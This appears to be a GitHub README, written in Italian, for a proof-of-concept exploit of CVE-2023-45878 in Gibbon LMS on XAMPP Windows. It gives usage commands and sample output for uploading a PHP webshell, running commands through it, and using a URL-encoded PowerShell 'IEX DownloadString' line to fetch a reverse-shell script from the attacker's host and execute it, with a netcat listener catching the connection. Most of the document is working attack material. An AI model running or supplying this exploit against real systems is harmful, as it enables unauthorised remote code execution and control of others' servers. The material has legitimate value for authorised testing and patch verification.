pauldhaes/cve-2023-45878-pocCVE-2023-45878 poc per gibbon LMS su xampp windows
CVE-2023-45878 PoC per Gibbon LMS su XAMPP Windows. Carica una webshell chiamata shell.php per l'iniezione di comandi. Per la reverse shell carica uno script PowerShell di reverse shell ps1 chiamato shell.ps1 che viene caricato sulla macchina target usando shell.php.
Python3 Modulo requests per Python3 netcat
pip3 install requests
mkdir CVE-2023-45878
cd CVE-2023-45878
python3 -m venv CVE
source CVE/bin/activate
cd ..
pip3 install requests
Testato su Gibbon LMS in esecuzione su XAMPP Windows senza antivirus abilitato. Il target può essere individuato tramite la pagina di login di Gibbon, ad esempio http://gibbon-example/Gibbon-LMS/
python3 reverse.py --reverse-shell -target_url http://target -ip IP -port REV-PORT -srvport SRVPORT
[+] PHP shell uploaded successfully to http://target/shell.php
[+] PowerShell reverse shell script saved to: shell.ps1
[+] The shell is now hosted at shell.ps1
Starting reverse shell listener in background...
Starting netcat listener on ip:REV-PORT...
[+] HTTP server running in the background on port SRVPORT
[+] Executing PHP shell to download and execute shell.ps1
Executing: http://target/shell.php?cmd=powershell%20-nop%20-w%20hidden%20-c%20IEX%20%28New-Object%20Net.WebClient%29.DownloadString%28%27http%3A//IP%3ASRVPORT/shell.ps1%27%29
[+] HTTP server started on http://0.0.0.0:SRVPORT/
TARGET-IP - - [20/Mar/2025 12:59:11] "GET /shell.ps1 HTTP/1.1" 200 -
Connection from TARGET-IP
PS C:\xampp\htdocs\Gibbon-LMS>
python3 reverse.py --single -target_url http://target -command whoami
[+] PHP shell uploaded successfully to http://target/shell.php
[+] Executing PHP command
Executing: http://target/shell.php?whoami
[+] Command executed successfully pres enter
vuln\w.webservice